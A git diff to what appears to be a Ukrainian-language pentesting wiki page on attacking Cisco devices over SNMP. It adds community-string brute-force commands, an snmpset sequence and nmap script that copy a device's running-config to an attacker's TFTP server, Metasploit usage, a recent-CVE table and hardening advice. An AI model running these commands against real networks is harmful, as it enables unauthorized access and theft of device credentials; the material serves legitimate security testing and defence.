diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 411e0cb96..a72ebacce 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,34 +4,92 @@ ## Pentesting Cisco Networks -**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які слугують паролями, що дозволяють зв'язок між SNMP агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої. +**SNMP** функціонує через UDP з портами **161/UDP** для загальних повідомлень та **162/UDP** для повідомлень про трепи. Цей протокол покладається на *community strings*, які слугують у вигляді простих "паролів", що дозволяють зв'язок між SNMP агентами та менеджерами. Ці рядки визначають рівень доступу, зокрема **тільки для читання (RO) або читання та запису (RW) дозволи**. -Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей: +Класичний — але все ще надзвичайно ефективний — вектор атаки полягає в **брутфорсингу community strings** для підвищення з неавтентифікованого користувача до адміністратора пристрою (RW community). Практичним інструментом для цього завдання є [**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash -onesixtyone -c communitystrings -i targets +onesixtyone -c community_strings.txt -i targets.txt ``` -#### `cisco_config_tftp` - -Фреймворк Metasploit містить модуль `cisco_config_tftp`, що полегшує витягування конфігурацій пристроїв, залежно від отримання RW community string. Основні параметри для цієї операції включають: - -- RW community string (**COMMUNITY**) -- IP-адреса атакуючого (**LHOST**) -- IP-адреса цільового пристрою (**RHOSTS**) -- Шлях призначення для конфігураційних файлів (**OUTPUTDIR**) - -Після налаштування цей модуль дозволяє завантажувати налаштування пристрою безпосередньо в зазначену папку. - -#### `snmp_enum` - -Ще один модуль Metasploit, **`snmp_enum`**, спеціалізується на зборі детальної інформації про апаратуру. Він працює з будь-яким типом community string і вимагає IP-адресу цілі для успішного виконання: +Інші швидкі варіанти - це скрипт Nmap NSE `snmp-brute` або модуль SNMP Hydra: ```bash -msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public -msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 -msf6 auxiliary(scanner/snmp/snmp_enum) > exploit +nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 +hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` +--- + +### Витягування конфігурації через SNMP (CISCO-CONFIG-COPY-MIB) +Якщо ви отримали **RW community**, ви можете скопіювати running-config/startup-config на TFTP/FTP сервер *без доступу до CLI*, зловживаючи CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Два поширені підходи: + +1. **Nmap NSE – `snmp-ios-config`** +```bash +nmap -sU -p161 --script snmp-ios-config \ +--script-args creds.snmp=private 192.168.66.1 +``` +Скрипт автоматично організовує операцію копіювання та виводить конфігурацію на stdout. + +2. **Ручна послідовність `snmpset`** +```bash +# Copy running-config (4) to a TFTP server (1) – random row id 1234 +snmpset -v2c -c private 192.168.66.1 \ +1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp +1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig +1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile +1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP +1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ +1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo +``` +Ідентифікатори рядків є *однократними*; повторне використання протягом п'яти хвилин викликає помилки `inconsistentValue`. + +Як тільки файл буде на вашому TFTP сервері, ви зможете перевірити облікові дані (`enable secret`, `username secret` тощо) або навіть надіслати змінену конфігурацію назад на пристрій. + +--- + +### Метасploit корисності + +* **`cisco_config_tftp`** – завантажує running-config/startup-config через TFTP після зловживання тією ж MIB. +* **`snmp_enum`** – збирає інформацію про інвентаризацію пристроїв, VLAN, описи інтерфейсів, таблиці ARP тощо. +```bash +use auxiliary/scanner/snmp/snmp_enum +set RHOSTS 10.10.100.10 +set COMMUNITY public +run +``` +--- + +## Останні вразливості Cisco SNMP (2023 – 2025) +Слідкування за рекомендаціями постачальників корисне для визначення можливостей *zero-day-to-n-day* під час залучення: + +| Рік | CVE | Вразлива функція | Вплив | +|------|-----|-----------------|--------| +| 2025 | CVE-2025-20174 | Підсистема SNMP | Сформований пакет призводить до автентифікованого *DoS* (перезавантаження) на IOS/IOS-XE (v1/v2c/v3). | +| 2024 | CVE-2024-20373 | Обробка IPv4 ACL | Неправильно налаштовані **розширені** ACL тихо *падають*, дозволяючи неавтентифіковане опитування SNMP, коли відома дійсна спільнота/користувач. | +| 2025 | (немає CVE поки) | Обхід обмеження конфігурації SNMPv3 | Дійсний користувач v3 може опитувати з адрес, які повинні бути заборонені. | + +Експлуатованість часто все ще залежить від наявності рядка спільноти або облікових даних v3 — ще одна причина, чому їх брутфорсинг залишається актуальним. + +--- + +## Поради з посилення безпеки та виявлення + +* Оновіть до виправленої версії IOS/IOS-XE (див. рекомендацію Cisco для вказаного CVE). +* Вибирайте **SNMPv3** з `authPriv` (SHA-256/AES-256) замість v1/v2c. +``` +snmp-server group SECURE v3 priv +snmp-server user monitor SECURE v3 auth sha priv aes 256 +``` +* Прив'яжіть SNMP до управлінського VRF та **обмежте за допомогою *стандартних* нумерованих IPv4 ACL** (розширені іменовані ACL є ризикованими – CVE-2024-20373). +* Вимкніть **RW спільноти**; якщо це необхідно для роботи, обмежте їх за допомогою ACL та переглядів: +`snmp-server community RW 99 view SysView` +* Моніторте: +- Сплески UDP/161 або несподівані джерела (правила SIEM). +- Події `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource`, що вказують на зміни конфігурації поза межами каналу. +* Увімкніть **SNMPv3 логування** та `snmp-server packetsize 1500`, щоб зменшити певні вектори DoS. + +--- + ## Посилання -- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - +- Cisco: *Як копіювати конфігурації до та з пристроїв Cisco за допомогою SNMP* +- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}